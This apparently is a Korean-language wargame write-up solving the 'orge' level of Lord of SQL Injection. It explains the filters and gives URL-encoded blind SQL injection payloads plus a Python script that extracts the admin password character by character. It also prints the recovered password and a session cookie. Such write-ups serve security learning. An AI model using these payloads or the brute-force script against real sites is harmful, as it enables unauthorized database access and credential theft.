문제
id가 admin이고 pw가 $_GET[pw]인 데이터 중 pw를 받아온 다음 이 pw가 존재하고 pw가 $_GET['pw']와 같으면 풀린다.
풀이
orc문제와 비슷하다.
오크하고 오우거하고 비슷하게 생겨서 비슷한 문제인가 보다
유의해야 할점
1. or와 and를 쓸수 없는 점. 쓰면 HeHe가 뜬다.
2. pw가 존재하고 결과값의 pw와 입력값의 pw가 같아야 한다.
3. addslashes( string $str ) : 큰따옴표, 작은 따옴표 앞에 역슬래시 문자를 붙여주는 함수
Blind SQL Injection을 통해 pw를 알아야한다.
length함수를 이용하여 pw의 길이를 구한다음 substr함수를 이용하여 하나씩 비밀번호를 구하는 방법이 있다.
그러나 이번에는 자동화 프로그램을 이용해보도록 하였다.
자동화 프로그램 코딩을 짜기 전에 pw가 몇글자인지 부터 확인을 해보자
id=%27admin%27&pw=%27%09||%09id=%27admin%27%09%26%26%09length(pw)=%278
and가 필터링 되어있어서 &&이라고 써야 되는데 GET방식으로 받고 있을때는 &가 전달이 안된다.
따라서 &는 %26으로 써준다.
pw의 길이는 8이다.
그럼이제 자동화 프로그램을 짜보자
우선 python에서 url을 통해 웹사이트에 접속하여 일들을 수행하기 위해서는 requests 라이브러리가 있어야한다.
window에서 request 라이브러리 설치 방법 : https://k4keye.tistory.com/99
우선 맨 첫줄에 import requests를 써준다.
접속할 url을 넣을 변수를 하나 만들어서 그곳에 문제 페이지 url을 넣어준다.
url = "https://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php"
쿠키값을 부여해야한다. 쿠키값을 저장할 변수를 만들어 그 변수에 쿠키값을 넣어준다.
cookies = {"PHPSESSID" : "쿠키값"}
substr 함수를 이용하여 비밀번호를 알아내야한다.
아스키코드 값으로 탐색을 해준다.
1은 아스키로 48이고, Z가 아스키로 90이므로 for문의 조건을 (48, 91)로 정해주고, url뒤에 합칠때 i를 char형으로 변환해주는 것을 잊지 말도록 한다.
파이썬에서는 chr함수를 이용하면 숫자를 char형태로 바꿔준다.
또한 substr에서 가운데 숫자가 변하므로 그부분을 i로, url의 마지막에 비밀번호에 해당하는 문자 변수가 들어가므로 그 부분을 i로 설정하여 계속 값을 바꿔가며 대입해본다. 코드에 Hello admin이 있다면 그 문장이 참, 즉 해당 문자가 해당 인덱스의 패스워드가 되므로 인덱스와 문자를 같이 출력해주고 break해준다.
import requests
url="https://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php"
cookies = {"PHPSESSID" : "75bjss4k9birgh7abqbm2fpij1"}
for j in range(0, 9):
for i in range(48, 91): #알파벳도 검색하기위해 아스키코드로 검색
urls=url+"?pw=%27%20%20||%20id=%27admin%27%20%26%26%20substr(pw,"+str(j)+",1)=%27"+chr(i)
with requests.Session() as s: #세션이 부여된 동안 반복
response=s.get(urls, cookies=cookies)
if "Hello admin" in response.text:
print(j, " : ", chr(i)) #해당 인덱스의 비밀번호 내용이 뭔지 출력해준다
break
출력결과는 다음과 같다.
비번은 6c864dec임을 알 수 있다.
이걸 이제 pw에 넣자
id=%27admin%27&pw=6c864dec
그러면 풀린다.